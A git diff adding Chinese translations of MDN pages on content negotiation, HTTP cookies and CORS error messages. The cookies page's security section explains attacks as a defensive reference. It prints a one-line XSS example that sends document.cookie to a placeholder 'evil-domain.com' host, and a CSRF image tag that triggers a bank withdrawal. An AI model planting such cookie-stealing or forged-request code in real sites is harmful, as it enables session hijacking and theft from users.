版本中新添加的,而为了使缓存服务器恰当地工作,这个首部是必要的。缓存服务器为了能够与服务端驱动型内容协商机制协同工作,需要知道服务器选择传送内容的决策依据。这样的话,缓存服务器就可以重复该算法,直接提供恰当的内容,而不需要向服务器发送更多的请求。显然,通配符 '*' 阻碍了缓存机制发挥作用,因为缓存服务器并不知道该通配符究竟指代哪些元素。</p> + +<h2 id="代理驱动型内容协商机制">代理驱动型内容协商机制</h2> + +<p>服务端驱动型内容协商机制由于一些缺点而为人诟病——它在规模化方面存在问题。在协商机制中,每一个特性需要对应一个首部。如果想要使用屏幕大小、分辨率或者其他方面的特性,就需要创建一个新的首部。而且在每一次请求中都必须发送这些首部。在首部很少的时候,这并不是问题,但是随着数量的增多,消息体的体积会导致性能的下降。带有精确信息的首部发送的越多,信息熵就会越大,也就准许了更多 HTTP 指纹识别行为,以及与此相关的隐私问题的发生。</p> + +<p>从 HTTP 协议制定之初,该协议就准许另外一种协商机制:代理驱动型内容协商机制,或称为响应式协商机制。在这种协商机制中,当面临不明确的请求时,服务器会返回一个页面,其中包含了可供选择的资源的链接。资源呈现给用户,由用户做出选择。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13795/HTTPNego3.png"></p> + +<p>不幸的是,HTTP 标准没有明确指定提供可选资源链接的页面的格式,这一点阻碍了将这一过程无痛自动化。除了退回至服务端驱动型内容协商机制外,这种自动化方法几乎无一例外都是通过脚本技术来完成的,尤其是 JavaScript 重定向技术:在检测了协商的条件之后,脚本会触发重定向动作。另外一个问题是,为了获得实际的资源,需要额外发送一次请求,减慢了将资源呈现给用户的速度。</p> diff --git a/files/zh-cn/web/http/cookies/index.html b/files/zh-cn/web/http/cookies/index.html new file mode 100644 index 0000000000..08440c9d88 --- /dev/null +++ b/files/zh-cn/web/http/cookies/index.html @@ -0,0 +1,291 @@ +--- +title: HTTP cookies +slug: Web/HTTP/Cookies +tags: + - Cookies + - HTTP +translation_of: Web/HTTP/Cookies +--- +<div>{{HTTPSidebar}}</div> + +<p class="summary">HTTP Cookie(也叫 Web Cookie 或浏览器 Cookie)是服务器发送到用户浏览器并保存在本地的一小块数据,它会在浏览器下次向同一服务器再发起请求时被携带并发送到服务器上。通常,它用于告知服务端两个请求是否来自同一浏览器,如保持用户的登录状态。Cookie 使基于<a href="/en-US/docs/Web/HTTP/Overview#HTTP_is_stateless_but_not_sessionless">无状态</a>的HTTP协议记录稳定的状态信息成为了可能。</p> + +<p>Cookie 主要用于以下三个方面:</p> + +<ul> + <li>会话状态管理(如用户登录状态、购物车、游戏分数或其它需要记录的信息)</li> + <li>个性化设置(如用户自定义设置、主题等)</li> + <li>浏览器行为跟踪(如跟踪分析用户行为等)</li> +</ul> + +<p>Cookie 曾一度用于客户端数据的存储,因当时并没有其它合适的存储办法而作为唯一的存储手段,但现在随着现代浏览器开始支持各种各样的存储方式,Cookie 渐渐被淘汰。由于服务器指定 Cookie 后,浏览器的每次请求都会携带 Cookie 数据,会带来额外的性能开销(尤其是在移动环境下)。新的浏览器API已经允许开发者直接将数据存储到本地,如使用 <a href="/zh-CN/docs/Web/API/Web_Storage_API" title="DOM Storage">Web storage API</a> (本地存储和会话存储)或 <a href="/zh-CN/docs/Web/API/IndexedDB_API">IndexedDB</a> 。</p> + +<div class="note"> +<p>要查看Cookie存储(或网页上能够使用其他的存储方式),你可以在开发者工具中启用<strong>存储查看</strong>(<a href="/en-US/docs/Tools/Storage_Inspector">Storage Inspector</a> )功能,并在存储树上选中<strong>Cookie</strong>。</p> +</div> + +<h2 id="创建Cookie">创建Cookie</h2> + +<p>当服务器收到 HTTP 请求时,服务器可以在响应头里面添加一个 {{HTTPHeader("Set-Cookie")}} 选项。浏览器收到响应后通常会保存下 Cookie,之后对该服务器每一次请求中都通过 {{HTTPHeader("Cookie")}} 请求头部将 Cookie 信息发送给服务器。另外,Cookie 的过期时间、域、路径、有效期、适用站点都可以根据需要来指定。</p> + +<h3 id="Set-Cookie响应头部和Cookie请求头部"><code>Set-Cookie响应头部</code>和<code>Cookie请求头部</code></h3> + +<p>服务器使用 {{HTTPHeader("Set-Cookie")}} 响应头部向用户代理(一般是浏览器)发送 Cookie信息。一个简单的 Cookie 可能像这样:</p> + +<pre class="syntaxbox notranslate">Set-Cookie: <cookie名>=<cookie值></pre> + +<p>服务器通过该头部告知客户端保存 Cookie 信息。</p> + +<pre class="notranslate">HTTP/1.0 200 OK +Content-type: text/html +Set-Cookie: yummy_cookie=choco +Set-Cookie: tasty_cookie=strawberry + +[页面内容]</pre> + +<p id="The_client_sends_back_to_the_server_its_cookies_previously_stored">现在,对该服务器发起的每一次新请求,浏览器都会将之前保存的Cookie信息通过 {{HTTPHeader("Cookie")}} 请求头部再发送给服务器。</p> + +<pre class="notranslate">GET /sample_page.html HTTP/1.1 +Host: www.example.org +Cookie: yummy_cookie=choco; tasty_cookie=strawberry</pre> + +<div class="blockIndicator note"> +<p><strong>提示:</strong> 如何在以下几种服务端程序中设置 <code>Set-Cookie</code> 响应头信息 :</p> + +<ul> + <li><a href="https://secure.php.net/manual/en/function.setcookie.php">PHP</a></li> + <li><a href="https://nodejs.org/dist/latest-v8.x/docs/api/http.html#http_response_setheader_name_value">Node.JS</a></li> + <li><a href="https://docs.python.org/3/library/http.cookies.html">Python</a></li> + <li><a href="https://api.rubyonrails.org/classes/ActionDispatch/Cookies.html">Ruby on Rails</a></li> +</ul> +</div> + +<h3 id="定义_Cookie_的生命周期">定义 Cookie 的生命周期</h3> + +<p>Cookie 的生命周期可以通过两种方式定义:</p> + +<ul> + <li>会话期 Cookie 是最简单的 Cookie:浏览器关闭之后它会被自动删除,也就是说它仅在会话期内有效。会话期Cookie不需要指定过期时间(<code>Expires</code>)或者有效期(<code>Max-Age</code>)。需要注意的是,有些浏览器提供了会话恢复功能,这种情况下即使关闭了浏览器,会话期Cookie 也会被保留下来,就好像浏览器从来没有关闭一样,这会导致 Cookie 的生命周期无限期延长。</li> + <li>持久性 Cookie 的生命周期取决于过期时间(<code>Expires</code>)或有效期(<code>Max-Age</code>)指定的一段时间。</li> +</ul> + +<p>例如:</p> + +<pre class="notranslate">Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;</pre> + +<div class="note"> +<p><strong>提示:</strong>当Cookie的过期时间被设定时,设定的日期和时间只与客户端相关,而不是服务端。</p> +</div> + +<p>如果您的站点对用户进行身份验证,则每当用户进行身份验证时,它都应重新生成并重新发送会话 Cookie,甚至是已经存在的会话 Cookie。此技术有助于防止<a href="https://wiki.developer.mozilla.org/en-US/docs/Web/Security/Types_of_attacks#Session_fixation">会话固定攻击(session fixation attacks)</a>,在该攻击中第三方可以重用用户的会话。</p> + +<h3 id="限制访问_Cookie">限制访问 Cookie</h3> + +<p>有两种方法可以确保 <code>Cookie</code> 被安全发送,并且不会被意外的参与者或脚本访问:<code>Secure</code> 属性和<code>HttpOnly</code> 属性。</p> + +<p>标记为 <code>Secure</code> 的 Cookie 只应通过被 HTTPS 协议加密过的请求发送给服务端,因此可以预防 {{Glossary("MitM", "man-in-the-middle")}} 攻击者的攻击。但即便设置了 <code>Secure</code> 标记,敏感信息也不应该通过 Cookie 传输,因为 Cookie 有其固有的不安全性,<code>Secure</code> 标记也无法提供确实的安全保障, 例如,可以访问客户端硬盘的人可以读取它。</p> + +<div class="blockIndicator note"> +<p>从 Chrome 52 和 Firefox 52 开始,不安全的站点(<code>http:</code>)无法使用Cookie的 <code>Secure</code> 标记。</p> +</div> + +<p>JavaScript {{domxref("Document.cookie")}} API 无法访问带有 <code>HttpOnly</code> 属性的cookie;此类 Cookie 仅作用于服务器。例如,持久化服务器端会话的 Cookie 不需要对 JavaScript 可用,而应具有 <code>HttpOnly</code> 属性。此预防措施有助于缓解<a href="https://wiki.developer.mozilla.org/zh-CN/docs/Web/Security/Types_of_attacks#Cross-site_scripting_(XSS)">跨站点脚本(XSS)</a>攻击。</p> + +<p>示例:</p> + +<pre class="notranslate">Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly</pre> + +<h3 id="Cookie_的作用域">Cookie 的作用域</h3> + +<p><code>Domain</code> 和 <code>Path</code> 标识定义了Cookie的<em>作用域:</em>即允许 Cookie 应该发送给哪些URL。</p> + +<h4 id="Domain_属性">Domain 属性</h4> + +<p><code>Domain</code> 指定了哪些主机可以接受 Cookie。如果不指定,默认为 {{Glossary("origin")}},<strong>不包含子域名</strong>。如果指定了<code>Domain</code>,则一般包含子域名。因此,指定 <code>Domain</code> 比省略它的限制要少。但是,当子域需要共享有关用户的信息时,这可能会有所帮助。 </p> + +<p>例如,如果设置 <code>Domain=mozilla.org</code>,则 Cookie 也包含在子域名中(如<code>developer.mozilla.org</code>)。</p> + +<div class="blockIndicator note"> +<p>当前大多数浏览器遵循 <a href="http://tools.ietf.org/html/rfc6265">RFC 6265</a>,设置 Domain 时 不需要加前导点。浏览器不遵循该规范,则需要加前导点,例如:<code>Domain=.mozilla.org</code></p> +</div> + +<h4 id="Path_属性">Path 属性</h4> + +<p><code>Path</code> 标识指定了主机下的哪些路径可以接受 Cookie(该 URL 路径必须存在于请求 URL 中)。以字符 <code>%x2F</code> ("/") 作为路径分隔符,子路径也会被匹配。</p> + +<p>例如,设置 <code>Path=/docs</code>,则以下地址都会匹配:</p> + +<ul> + <li><code>/docs</code></li> + <li><code>/docs/Web/</code></li> + <li><code>/docs/Web/HTTP</code></li> +</ul> + +<h4 id="SameSite_attribute">SameSite attribute</h4> + +<p><code>SameSite</code> Cookie 允许服务器要求某个 cookie 在跨站请求时不会被发送,(其中 {{Glossary("Site")}} 由可注册域定义),从而可以阻止跨站请求伪造攻击({{Glossary("CSRF")}})。</p> + +<p>SameSite cookies 是相对较新的一个字段,<a href="/en-US/docs/Web/HTTP/headers/Set-Cookie#Browser_compatibility">所有主流浏览器都已经得到支持</a>。</p> + +<p>下面是例子:</p> + +<pre class="brush: js notranslate">Set-Cookie: key=value; SameSite=Strict</pre> + +<p>SameSite 可以有下面三种值:</p> + +<ul> + <li><code><strong>None</strong></code><strong>。</strong>浏览器会在同站请求、跨站请求下继续发送 cookies,不区分大小写。</li> + <li><strong><code>Strict</code>。</strong>浏览器将只在访问相同站点时发送 cookie。(在原有 Cookies 的限制条件上的加强,如上文 “Cookie 的作用域” 所述)</li> + <li><strong><code>Lax</code>。</strong>与 <strong><code>Strict</code> </strong>类似,但用户从外部站点导航至URL时(例如通过链接)除外。 在新版本浏览器中,为默认选项,Same-site cookies 将会为一些跨站子请求保留,如图片加载或者 frames 的调用,但只有当用户从外部站点导航到URL时才会发送。如 link 链接</li> +</ul> + +<div class="blockIndicator note"> +<p>以前,如果 SameSite 属性没有设置,或者没有得到运行浏览器的支持,那么它的行为等同于 None,Cookies 会被包含在任何请求中——包括跨站请求。</p> + +<p>大多数主流浏览器正在将 <a href="https://www.chromestatus.com/feature/5088147346030592">SameSite 的默认值迁移至 Lax</a>。如果想要指定 Cookies 在同站、跨站请求都被发送,现在需要明确指定 SameSite 为 None。</p> +</div> + +<h4 id="Cookie_prefixes">Cookie prefixes</h4> + +<p>cookie 机制的使得服务器无法确认 cookie 是在安全来源上设置的,甚至无法确定 cookie 最初是在哪里设置的。</p> + +<p>子域上的易受攻击的应用程序可以使用 Domain 属性设置 cookie,从而可以访问所有其他子域上的该 cookie。会话固定攻击中可能会滥用此机制。有关主要缓解方法,请参阅<a href="https://wiki.developer.mozilla.org/en-US/docs/Web/Security/Types_of_attacks#Session_fixation">会话劫持( session fixation)</a>。</p> + +<p>但是,作为<a href="https://en.wikipedia.org/wiki/Defense_in_depth_(computing)">深度防御措施</a>,可以使用 cookie 前缀来断言有关 cookie 的特定事实。有两个前缀可用:</p> + +<dl> + <dt><code>__Host-</code></dt> + <dd>如果 cookie 名称具有此前缀,则仅当它也用 <code>Secure</code> 属性标记,是从安全来源发送的,不包括 <code>Domain</code> 属性,并将 <code>Path</code> 属性设置为 <code>/</code> 时,它才在 {{HTTPHeader("Set-Cookie")}} 标头中接受。这样,这些 cookie 可以被视为 "domain-locked”。</dd> + <dt><code>__Secure-</code></dt> + <dd>如果 cookie 名称具有此前缀,则仅当它也用 <code>Secure</code> 属性标记,是从安全来源发送的,它才在 {{HTTPHeader("Set-Cookie")}} 标头中接受。该前缀限制要弱于 <code>__Host-</code> 前缀。</dd> +</dl> + +<p>带有这些前缀点 Cookie, 如果不符合其限制的会被浏览器拒绝。请注意,这确保了如果子域要创建带有前缀的 cookie,那么它将要么局限于该子域,要么被完全忽略。由于应用服务器仅在确定用户是否已通过身份验证或 CSRF 令牌正确时才检查特定的 cookie 名称,因此,这有效地充当了针对会话劫持的防御措施。</p> + +<div class="blockIndicator note"> +<p>在应用程序服务器上,Web 应用程序<strong>必须</strong>检查完整的 cookie 名称,包括前缀 —— 用户代理程序在从请求的 {{HTTPHeader("Cookie")}} 标头中发送前缀之前,<strong>不会</strong>从 cookie 中剥离前缀。</p> +</div> + +<p>有关 cookie 前缀和浏览器支持的当前状态的更多信息,请参阅 <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie#Cookie_prefixes">Prefixes section of the Set-Cookie reference article</a>。</p> + +<h4 id="JavaScript_通过_Document.cookie_访问_Cookie">JavaScript 通过 Document.cookie 访问 Cookie</h4> + +<p>通过 {{domxref("Document.cookie")}} 属性可创建新的 Cookie,也可通过该属性访问非<code>HttpOnly</code>标记的Cookie。</p> + +<pre class="brush: js notranslate">document.cookie = "yummy_cookie=choco"; +document.cookie = "tasty_cookie=strawberry"; +console.log(document.cookie); +// logs "yummy_cookie=choco; tasty_cookie=strawberry"</pre> + +<p>通过 JavaScript 创建的 Cookie 不能包含 HttpOnly 标志。</p> + +<p>请留意在<a href="/zh-CN/docs/Web/HTTP/Cookies#Security">安全</a>章节提到的安全隐患问题,JavaScript 可以通过跨站脚本攻击(XSS)的方式来窃取 Cookie。</p> + +<h2 id="安全">安全</h2> + +<div class="note"> +<p>信息被存在 Cookie 中时,需要明白 cookie 的值时可以被访问,且可以被终端用户所修改的。根据应用程序的不同,可能需要使用服务器查找的不透明标识符,或者研究诸如 JSON Web Tokens 之类的替代身份验证/机密机制。</p> + +<p>当机器处于不安全环境时,切记<em>不能</em>通过 HTTP Cookie 存储、传输敏感信息。</p> +</div> + +<p>缓解涉及Cookie的攻击的方法:</p> + +<ul> + <li>使用 <code>HttpOnly</code> 属性可防止通过 JavaScript 访问 cookie 值。</li> + <li>用于敏感信息(例如指示身份验证)的 Cookie 的生存期应较短,并且 <code>SameSite</code> 属性设置为<code>Strict</code> 或 <code>Lax</code>。(请参见上方的 <a href="https://wiki.developer.mozilla.org/zh-CN/docs/Web/HTTP/Cookies$edit#">SameSite Cookie</a>。)在<a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie#Browser_compatibility">支持 SameSite 的浏览器</a>中,这样做的作用是确保不与跨域请求一起发送身份验证 cookie,因此,这种请求实际上不会向应用服务器进行身份验证。</li> +</ul> + +<h3 id="会话劫持和_XSS">会话劫持和 XSS</h3> + +<p>在 Web 应用中,Cookie 常用来标记用户或授权会话。因此,如果 Web 应用的 Cookie 被窃取,可能导致授权用户的会话受到攻击。常用的窃取 Cookie 的方法有利用社会工程学攻击和利用应用程序漏洞进行 {{Glossary("XSS")}} 攻击。</p> + +<pre class="brush: js notranslate">(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;</pre> + +<p><code>HttpOnly</code> 类型的 Cookie 用于阻止了JavaScript 对其的访问性而能在一定程度上缓解此类攻击。</p> + +<h3 id="跨站请求伪造(CSRF)">跨站请求伪造(CSRF)</h3> + +<p><a href="https://en.wikipedia.org/wiki/HTTP_cookie#Cross-site_request_forgery">维基百科</a>已经给了一个比较好的 {{Glossary("CSRF")}} 例子。比如在不安全聊天室或论坛上的一张图片,它实际上是一个给你银行服务器发送提现的请求:</p> + +<pre class="brush: html notranslate"><img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory"></pre> + +<p>当你打开含有了这张图片的 HTML 页面时,如果你之前已经登录了你的银行帐号并且 Cookie 仍然有效(还没有其它验证步骤),你银行里的钱很可能会被自动转走。有一些方法可以阻止此类事件的发生:</p> + +<ul> + <li>对用户输入进行过滤来阻止 {{Glossary("XSS")}};</li> + <li>任何敏感操作都需要确认;</li> + <li>用于敏感信息的 Cookie 只能拥有较短的生命周期;</li> + <li>更多方法可以查看<a href="https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet">OWASP CSRF prevention cheat sheet</a>。</li> +</ul> + +<h2 id="跟踪和隐私">跟踪和隐私</h2> + +<h3 id="第三方_Cookie">第三方 Cookie</h3> + +<p>Cookie 与域关联。如果此域与您所在页面的域相同,则该 cookie 称为<em>第一方 cookie( first-party cookie)</em>。如果域不同,则它是<em>第三方 cookie(third-party cookie)</em>。当托管网页的服务器设置第一方 Cookie 时,该页面可能包含存储在其他域中的服务器上的图像或其他组件(例如,广告横幅),这些图像或其他组件可能会设置第三方 Cookie。这些主要用于在网络上进行广告和跟踪。例如,<a href="https://policies.google.com/technologies/types">types of cookies used by Google</a>。第三方服务器可以基于同一浏览器在访问多个站点时发送给它的 cookie 来建立用户浏览历史和习惯的配置文件。Firefox 默认情况下会阻止已知包含跟踪器的第三方 cookie。第三方cookie(或仅跟踪 cookie)也可能被其他浏览器设置或扩展程序阻止。阻止 Cookie 会导致某些第三方组件(例如社交媒体窗口小部件)无法正常运行。</p> + +<p>如果你没有公开你网站上第三方 Cookie 的使用情况,当它们被发觉时用户对你的信任程度可能受到影响。一个较清晰的声明(比如在隐私策略里面提及)能够减少或消除这些负面影响。在某些国家已经开始对Cookie制订了相应的法规,可以查看维基百科上例子<a href="https://wikimediafoundation.org/wiki/Cookie_statement">cookie statement</a>。</p> + +<h3 id="Cookie_相关规定">Cookie 相关规定</h3> + +<p>涉及使用 Cookie 的法律或法规包括:</p> + +<ul> + <li>欧盟通用数据隐私法规(GDPR)</li> + <li>欧盟的《隐私权指令》</li> + <li>加州消费者隐私法</li> +</ul> + +<p>这些规定具有全球影响力,因为它们适用于这些司法管辖区(欧盟和加利福尼亚)的用户访问的万维网上的任何站点,但请注意,加利福尼亚州的法律仅适用于总收入超过2500万美元的实体其他事情。)</p> + +<p>这些法规包括以下要求:</p> + +<ul> + <li>向用户表明您的站点使用 cookie。</li> + <li>允许用户选择不接收某些或所有 cookie。</li> + <li>允许用户在不接收 Cookie 的情况下使用大部分服务。</li> +</ul> + +<p>可能还存在其他法规来管理您当地的Cookie。您有责任了解并遵守这些规定。有些公司提供 "cookie banner" 代码,可帮助您遵守这些法规。</p> + +<p>可以通过<a href="https://en.wikipedia.org/wiki/HTTP_cookie#EU_cookie_directive">维基百科的相关内容</a>获取最新的各国法律和更精确的信息。</p> + +<h4 id="禁止追踪_Do-Not-Track">禁止追踪 Do-Not-Track</h4> + +<p>虽然并没有法律或者技术手段强制要求使用 {{HTTPHeader("DNT")}},但是通过{{HTTPHeader("DNT")}} 可以告诉Web程序不要对用户行为进行追踪或者跨站追踪。查看{{HTTPHeader("DNT")}} 以获取更多信息。</p> + +<h4 id="欧盟_Cookie_指令">欧盟 Cookie 指令</h4> + +<p>关于 Cookie,欧盟已经在<a href="http://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX:32009L0136">2009/136/EC指令</a>中提了相关要求,该指令已于2011年5月25日生效。虽然指令并不属于法律,但它要求欧盟各成员国通过制定相关的法律来满足该指令所提的要求。当然,各国实际制定法律会有所差别。</p> + +<p>该欧盟指令的大意:在征得用户的同意之前,网站不允许通过计算机、手机或其他设备存储、检索任何信息。自从那以后,很多网站都在网站声明中添加了相关说明,告诉用户他们的 Cookie 将用于何处。</p> + +<h3 id="僵尸_Cookie_和删不掉的_Cookie">僵尸 Cookie 和删不掉的 Cookie</h3> + +<p>Cookie的一个极端使用例子是僵尸Cookie(或称之为“删不掉的Cookie”),这类 Cookie 较难以删除,甚至删除之后会自动重建。这些技术违反了用户隐私和用户控制的原则,可能违反了数据隐私法规,并可能使使用它们的网站承担法律责任。它们一般是使用 <a href="/en-US/docs/Web/API/Web_Storage_API" title="DOM Storage">Web storage API</a>、Flash本地共享对象或者其他技术手段来达到的。相关内容可以看:</p> + +<ul> + <li><a href="https://github.com/samyk/evercookie">Evercookie by Samy Kamkar</a></li> + <li><a href="https://en.wikipedia.org/wiki/Zombie_cookie">在维基百科上查看僵尸Cookie</a></li> +</ul> + +<h2 id="在浏览器中存储信息的其他方式">在浏览器中存储信息的其他方式</h2> + +<p>在浏览器中存储数据的另一种方法是 <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Web Storage API</a>。<a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Window/sessionStorage">window.sessionStorage</a> 和<a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Window/localStorage">window.localStorage</a> 属性与持续时间中的会话和永久 cookie 相对应,但是存储限制比 cookie大,并且永远不会发送到服务器。</p> + +<p>可以使用 <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API">IndexedDB API</a> 或基于它构建的库来存储更多结构化的数据。</p> + +<h2 id="了解更多">了解更多</h2> + +<ul> + <li>{{HTTPHeader("Set-Cookie")}}</li> + <li>{{HTTPHeader("Cookie")}}</li> + <li>{{domxref("Document.cookie")}}</li> + <li>{{domxref("Navigator.cookieEnabled")}}</li> + <li><a href="/en-US/docs/Tools/Storage_Inspector">Inspecting cookies using the Storage Inspector</a></li> + <li><a class="external" href="https://tools.ietf.org/html/rfc6265">Cookie specification: RFC 6265</a></li> + <li><a class="external" href="https://www.nczonline.net/blog/2009/05/05/http-cookies-explained/">Nicholas Zakas article on cookies</a></li> + <li><a class="external" href="https://www.nczonline.net/blog/2009/05/12/cookies-and-security/">Nicholas Zakas article on cookies and security</a></li> + <li><a href="https://en.wikipedia.org/wiki/HTTP_cookie">HTTP cookie on Wikipedia</a></li> +</ul> diff --git a/files/zh-cn/web/http/cors/errors/corsalloworiginnotmatchingorigin/index.html b/files/zh-cn/web/http/cors/errors/corsalloworiginnotmatchingorigin/index.html new file mode 100644 index 0000000000..ce85096ae3 --- /dev/null +++ b/files/zh-cn/web/http/cors/errors/corsalloworiginnotmatchingorigin/index.html @@ -0,0 +1,35 @@ +--- +title: 原因:CORS 头 'Access-Control-Allow-Origin'与'xyz'不匹配 +slug: Web/HTTP/CORS/Errors/CORSAllowOriginNotMatchingOrigin +translation_of: Web/HTTP/CORS/Errors/CORSAllowOriginNotMatchingOrigin +--- +<div>{{HTTPSidebar}}</div> + +<h2 id="原因">原因</h2> + +<pre class="syntaxbox">原因:CORS 头 'Access-Control-Allow-Origin'与'xyz'不匹配</pre> + +<h2 id="出了什么问题">出了什么问题?</h2> + +<p>简而言之,发出请求的原点与 {{HTTPHeader("Access-Control-Allow-Origin")}} 标题允许的任何来源都不匹配。</p> + +<p>如果响应包含多个 <code>Access-Control-Allow-Origin</code> 标头,也会发生此错误。</p> + +<p>如果您的代码使用CORS请求访问的服务在您的控制之下,请确保将其配置为将其来源包含在其 <code>Access-Control-Allow-Origin</code> 标头中,并且响应中仅包含一个此类标头。 标题本身接受逗号描述的起源列表,因此添加新的起源并不困难。</p> + +<p>例如,在Apache中,将以下行添加到服务器的配置中(在相应的 <code><Directory></code>,<code><Location></code>,<code><Files></code> 或 <code><VirtualHost></code> 部分中)。 配置通常位于 <code>.conf</code> 文件中(<code>httpd.conf</code> 和 <code>apache.conf</code> 是这些文件的通用名称),或者位于 <code>.htaccess</code> 文件中。</p> + +<pre>Header set Access-Control-Allow-Origin '<em>origin-list</em>'</pre> + +<p>在 Nginx 中,对应的配置为:</p> + +<pre>add_header 'Access-Control-Allow-Origin' '<em>origin-list</em>'</pre> + +<h2 id="查看更多">查看更多</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors">CORS 错误</a></li> + <li>Glossary: {{Glossary("CORS")}}</li> + <li><a href="/en-US/docs/Web/HTTP/CORS">CORS 介绍</a></li> + <li><a href="https://enable-cors.org/server.html">开启 CORS: 我希望在自己的服务器上添加对 CORS 的支持</a></li> +</ul> diff --git a/files/zh-cn/web/http/cors/errors/corsdidnotsucceed/index.html b/files/zh-cn/web/http/cors/errors/corsdidnotsucceed/index.html new file mode 100644 index 0000000000..fa3844fa44 --- /dev/null +++ b/files/zh-cn/web/http/cors/errors/corsdidnotsucceed/index.html @@ -0,0 +1,30 @@ +--- +title: 'Reason: CORS request did not succeed' +slug: Web/HTTP/CORS/Errors/CORSDidNotSucceed +tags: + - CORS + - HTTP + - 原因 + - 安全 + - 错误 +translation_of: Web/HTTP/CORS/Errors/CORSDidNotSucceed +--- +<div>{{HTTPSidebar}}</div> + +<h2 id="原因">原因</h2> + +<pre class="syntaxbox">原因: CORS 请求未成功</pre> + +<h2 id="哪里错了?">哪里错了?</h2> + +<p>使用CORS的{{Glossary("HTTP")}} 请求失败,因为HTTP连接在网络或协议级别失败。该错误与CORS没有直接关系,而是某种基本的网络错误。很多情况下,它是某个浏览器插件(比如广告拦截或隐私保护插件)阻止了请求而引起的。</p> + +<h2 id="参见">参见</h2> + +<ul> + <li><a href="/zh-cn/docs/Web/HTTP/CORS/Errors">HTTP访问控制(CORS)错误</a></li> + <li>词汇: {{Glossary("CORS")}}</li> + <li> + <p><a href="/zh-CN/docs/Web/HTTP/Access_control_CORS">HTTP访问控制(CORS)</a></p> + </li> +</ul> diff --git a/files/zh-cn/web/http/cors/errors/corsdisabled/index.html b/files/zh-cn/web/http/cors/errors/corsdisabled/index.html new file mode 100644 index 0000000000..7d62602cb9 --- /dev/null +++ b/files/zh-cn/web/http/cors/errors/corsdisabled/index.html @@ -0,0 +1,26 @@ +--- +title: 'Reason: CORS disabled' +slug: Web/HTTP/CORS/Errors/CORSDisabled +translation_of: Web/HTTP/CORS/Errors/CORSDisabled +--- +<div>{{HTTPSidebar}}</div> + +<h2 id="原因">原因</h2> + +<pre class="syntaxbox">原因:CROS被禁用</pre> + +<h2 id="哪里错了?">哪里错了?</h2> + +<p>发送了一个需要使用{{Glossary("CORS")}}的请求,但在用户的浏览器中禁用了CORS。发生这种情况时,用户需要在浏览器中重新打开CORS。</p> + +<p>在Firefox中,禁用CORS的首选项是<code>content.cors.disable</code>。将此设置为<code>true</code>将禁用CORS,因此在这种情况下,CORS请求将始终因此错误而失败。</p> + +<h2 id="参见">参见</h2> + +<ul> + <li><a href="/zh-cn/docs/Web/HTTP/CORS/Errors">HTTP访问控制(CORS)错误</a></li> + <li>Glossary: {{Glossary("CORS")}}</li> + <li> + <p><a href="/zh-CN/docs/Web/HTTP/Access_control_CORS">HTTP访问控制(CORS)</a></p> + </li> +</ul> diff --git a/files/zh-cn/web/http/cors/errors/corsexternalredirectnotallowed/index.html b/files/zh-cn/web/http/cors/errors/corsexternalredirectnotallowed/index.html new file mode 100644 index 0000000000..cacd2b8ce9 --- /dev/null +++ b/files/zh-cn/web/http/cors/errors/corsexternalredirectnotallowed/index.html @@ -0,0 +1,28 @@ +--- +title: 'Reason: CORS request external redirect not allowed' +slug: Web/HTTP/CORS/Errors/CORSExternalRedirectNotAllowed +translation_of: Web/HTTP/CORS/Errors/CORSExternalRedirectNotAllowed +--- +<div>{{HTTPSidebar}}</div> + +<h2 id="原因">原因</h2> + +<pre class="syntaxbox">原因: CORS不允许请求外部重定向</pre> + +<h2 id="哪里错了?">哪里错了?</h2> + +<p>{{Glossary("CORS")}} 请求被服务器响应了一个HTTP重定向到与原始请求的Origin不同的URL上,这在CORS请求中是不允许的。</p> + +<p>例如,如果请求 <code>https://service.tld/fetchdata</code> ,但服务器的HTTP响应是 "301 永久移动", "307 暂时重定向",或 "308 永久重定向" 并且 <code>Location</code> 是<code>https://anotherservice.net/getdata</code>,那么CORS请求将会失败。</p> + +<p>要解决此问题,请更新代码以使用重定向报告的新URL,从而避免重定向。</p> + +<h2 id="参见">参见</h2> + +<ul> + <li><a href="/zh-cn/docs/Web/HTTP/CORS/Errors">HTTP访问控制(CORS)错误</a></li> + <li>Glossary: {{Glossary("CORS")}}</li> + <li> + <p><a href="/zh-CN/docs/Web/HTTP/Access_control_CORS">HTTP访问控制(CORS)</a></p> + </li> +</ul> diff --git a/files/zh-cn/web/http/cors/errors/corsmethodnotfound/index.html b/files/zh-cn/web/http/cors/errors/corsmethodnotfound/index.html new file mode 100644 index 0000000000..b91a4ca628 --- /dev/null +++ b/files/zh-cn/web/http/cors/errors/corsmethodnotfound/index.html @@ -0,0 +1,33 @@ +--- +title: 'Reason: Did not find method in CORS header ‘Access-Control-Allow-Methods’' +slug: Web/HTTP/CORS/Errors/CORSMethodNotFound +translation_of: Web/HTTP/CORS/Errors/CORSMethodNotFound +--- +<div>{{HTTPSidebar}}</div> + +<h2 id="原因">原因</h2> + +<pre class="syntaxbox">原因:在 CORS 头 ‘Access-Control-Allow-Methods’ 中没有找到方法</pre> + +<h2 id="哪里错了?">哪里错了?</h2> + +<p>{{Glossary("CORS")}} 请求使用的 HTTP 方法不包含在响应的 {{HTTPHeader("Access-Control-Allow-Methods")}} 头指定的方法列表中。此头指定了一个使用逗号分隔的 HTTP 方法列表,当使用 CORS 访问请求中指定的 URL 时,可以使用这些方法;如果请求使用任何其他方法,则会发生此错误。</p> + +<p>例如,如果响应中包含:</p> + +<pre>Access-Control-Allow-Methods: GET,HEAD,POST</pre> + +<p>尝试使用 {{HTTPMethod("PUT")}} 请求会因为这个错误失败。</p> + +<p>请确保当访问服务时你的代码只使用了允许的 HTTP 方法。</p> + 